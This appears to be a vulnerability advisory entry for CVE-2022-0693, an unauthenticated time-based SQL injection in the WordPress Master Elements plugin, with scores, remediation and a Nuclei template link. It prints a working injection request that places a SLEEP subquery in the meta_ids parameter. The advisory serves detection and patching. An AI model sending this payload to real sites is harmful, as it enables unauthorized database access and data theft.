| Title | WordPress Master Elements <=8.0 - SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site. |
| Remediation | Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.62576 |
| CVE ID | CVE-2022-0693 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve2022 cve unauth wpscan wp-plugin wp sqli wordpress master-elements devbunch vuln |
WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0693.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0693.pcap
N/AN/A